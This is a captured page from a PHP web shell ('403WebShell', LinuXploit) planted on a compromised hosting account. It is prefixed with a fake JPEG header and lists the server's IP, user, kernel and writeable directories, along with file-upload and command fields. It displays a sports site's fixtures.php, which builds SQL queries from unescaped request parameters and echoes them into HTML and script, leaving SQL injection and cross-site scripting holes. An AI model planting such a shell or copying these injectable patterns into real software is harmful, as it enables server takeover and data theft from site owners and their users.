����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.140.188.195
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/sportsmycareer.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/sportsmycareer.com/fixtures.php
<?php
include './head.php';
include './navbar.php';

if (isset($_GET['competition'])) {
    if (!empty($_GET['competition'])) {
        $competition = str_replace('-', ' ', $_GET['competition']);

        $run = mysqli_query($conn, "SELECT `cid` FROM `competitions` WHERE `competition`='$competition'") or die(mysqli_error($conn));
        $cid = mysqli_fetch_array($run)['cid'];
    }
}
function getImageLogo($team)
{
    global $conn;
    $run = mysqli_query($conn, "SELECT `image` FROM `teams` WHERE `team`='$team'") or die(mysqli_error($conn));
    $image = mysqli_fetch_array($run)['image'];

    return $image;
}
?>

<header class="page-header" data-background="img/fixture.jpg">
    <div class="container">
        <h2 style="text-transform:capitalize;"><?php echo $competition; ?></h2>
        <div class="bosluk3"></div>
        <p><a href="home">Home</a> <i class="flaticon-right-chevron"></i> <a href="competitions.php">Competitions</a> <i class="flaticon-right-chevron"></i> Fixtures</p>
    </div>
    <!-- end container -->
</header>
<main>
    <div class="container">
        <div class="sub-navbar">
            <a href="fixtures?competition=<?php echo $_GET['competition']; ?>" class="active">Fixtures</a>
            <a href="results?competition=<?php echo $_GET['competition']; ?>">Results</a>
            <a href="table?competition=<?php echo $_GET['competition']; ?>">Table</a>
        </div>
    </div>
    <!--League Table & Fixture Tables Alanı-->
    <section class="league-fixture-section">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <!--Fixture Table-->
                    <div class="fixture-result-item-holder ">
                        <div class="fc-small-result-wrapper fc-item">
                            <?php
                            $query = "SELECT * FROM `fixtures` WHERE `cid`=$cid ORDER BY `date` DESC";
                            $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                            while ($row = mysqli_fetch_array($run)) {
                            ?>
                                <div class="small-result-item">
                                <a href="match.php?fid=<?php echo $row['fid'];?>" style="color:#000;">
                                    <div class="fc-result-date"><?php echo date('d M Y', $row['date']) . ' - ' . date('H:i', $row['time']); ?></div>
                                    <span class="fc-result-match-team fc-left">
                                        <span class="fc-team-flag"><img src="./teams/<?php echo getImageLogo($row['home']); ?>" alt="" width="60" height="60">
                                        </span><?php echo $row['home']; ?>
                                    </span>
                                    <span class="fc-result-match-versus">VS</span>
                                    <span class="fc-result-match-team fc-right"><?php echo $row['away']; ?>
                                        <span class="fc-team-flag">
                                            <img src="./teams/<?php echo getImageLogo($row['away']); ?>" alt="" width="60" height="60">
                                        </span>
                                    </span>
                                </a>
                                </div>
                            <?php
                            }
                            ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <?php include './footer.php'; ?>
    <script>
        document.querySelector("title").innerText = "SMC - <?php echo strtoupper($competition);?> ~ Fixtures";
        document.querySelectorAll("ul.menueffect li a")[2].style.color = "yellow";

        var list = document.querySelectorAll('.small-result-item');
        for (var i = 0; i < list.length; i++) {
            if (i % 2 == 0) {
                list[i].classList.add('even');
            } else {
                list[i].classList.add('old');
            }
        }
    </script>

Youez - 2016 - github.com/yon3zu
LinuXploit